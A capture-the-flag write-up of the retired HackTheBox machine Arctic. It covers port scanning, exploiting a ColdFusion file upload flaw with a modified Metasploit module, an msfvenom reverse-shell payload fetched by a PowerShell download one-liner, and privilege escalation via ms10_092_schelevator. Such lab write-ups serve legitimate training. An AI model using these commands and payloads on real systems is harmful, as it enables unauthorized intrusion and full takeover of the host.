This series will follow my exercises in HackTheBox. All published writeups are for retired HTB machines. Whether or not I use Metasploit to pwn the server will be indicated in the title.

Arctic

Difficulty: Easy

Machine IP: 10.10.10.11

I run a quick port scan to identify the open ports:

nmap -p- --min-rate=1000 -T4 -Pn 10.10.10.11 Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-28 22:21 EDT Nmap scan report for 10.10.10.11 Host is up (0.018s latency). Not shown: 65532 filtered ports PORT STATE SERVICE 135/tcp open msrpc 8500/tcp open fmtp 49154/tcp open unknown 

I then interrogate the three open ports:

nmap -A -sC -sV -Pn -p135,8500,49154 10.10.10.11 Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-28 22:23 EDT Nmap scan report for 10.10.10.11 Host is up (0.013s latency). PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 8500/tcp open fmtp? 49154/tcp open msrpc Microsoft Windows RPC Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows 

THe 8500 port defies identification. Navigating to it in my browser, I see it is a web server.

I bust out gobuster. It times out trying to query the server. By manually navigating to a few test paths and counting seconds, I see the issue. The server waits 25 seconds before responding to any web request.

I extend gobuster's HTTP timeout to 35 seconds with the flag --timeout 35.

It takes a while for the brute force to run, but I eventually make my way to this page:

http://10.10.10.11:8500/CFIDE/administrator/enter.cfm

Where I find a Coldfusion web server.

Searching for vulnerabilities on exploit-db with searchsploit coldfusion, I find the following:

Adobe ColdFusion 2018 - Arbitrary File Upload | exploits/multiple/webapps/45979.txt

Ah, and it has a matching Metasploit module: exploit/windows/http/coldfusion_fckeditor.

This module will not work out of the box, however, as its default timeout is 5 seconds.

The module file is located at /usr/share/metasploit-framework/modules/exploits/windows/http/coldfusion_fckeditor.rb.

You want to find the send_request_cgi and send_request_raw methods and change the 5 at the end of their function declarations to 30, to increase their timeouts from 5 seconds to 30 seconds.

From there, you can execute this exploit to obtain a user shell and the accompanying user flag.

Let's take this user shell and upgrade it to a Meterpreter shell so that we can run Metasploit's local privilege suggester for privilege escalation options.

We create a payload with msfvenom and start a local web server:

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.14.29 lport=4645 -f exe > shell.exe sudo python3 -m http.server 

Then, in our user shell on the target, we can execute this powershell one-liner to download the file:

powershell "(new-object System.Net.WebClient).Downloadfile('http://10.10.14.29:8000/shell.exe', 'fun.exe')" 

From there we start a Meterpreter handler on port 4645 and run the fun.exe executable on the target. Our meterpreter user shell connects.

Now run run post/multi/recon/local_exploit_suggester:

msf5 post(multi/recon/local_exploit_suggester) > run [*] 10.10.10.11 - Collecting local exploits for x64/windows... [*] 10.10.10.11 - 15 exploit checks are being tried... [+] 10.10.10.11 - exploit/windows/local/bypassuac_dotnet_profiler: The target appears to be vulnerable. [+] 10.10.10.11 - exploit/windows/local/bypassuac_sdclt: The target appears to be vulnerable. [+] 10.10.10.11 - exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable. [+] 10.10.10.11 - exploit/windows/local/ms16_014_wmi_recv_notif: The target appears to be vulnerable. [+] 10.10.10.11 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable. [*] Post module execution completed 

Our user is not in the Administrators group so we cannot use the first two exploits.

The third exploit, exploit/windows/local/ms10_092_schelevator, is successful and we get a root shell. From here we can grab our root flag.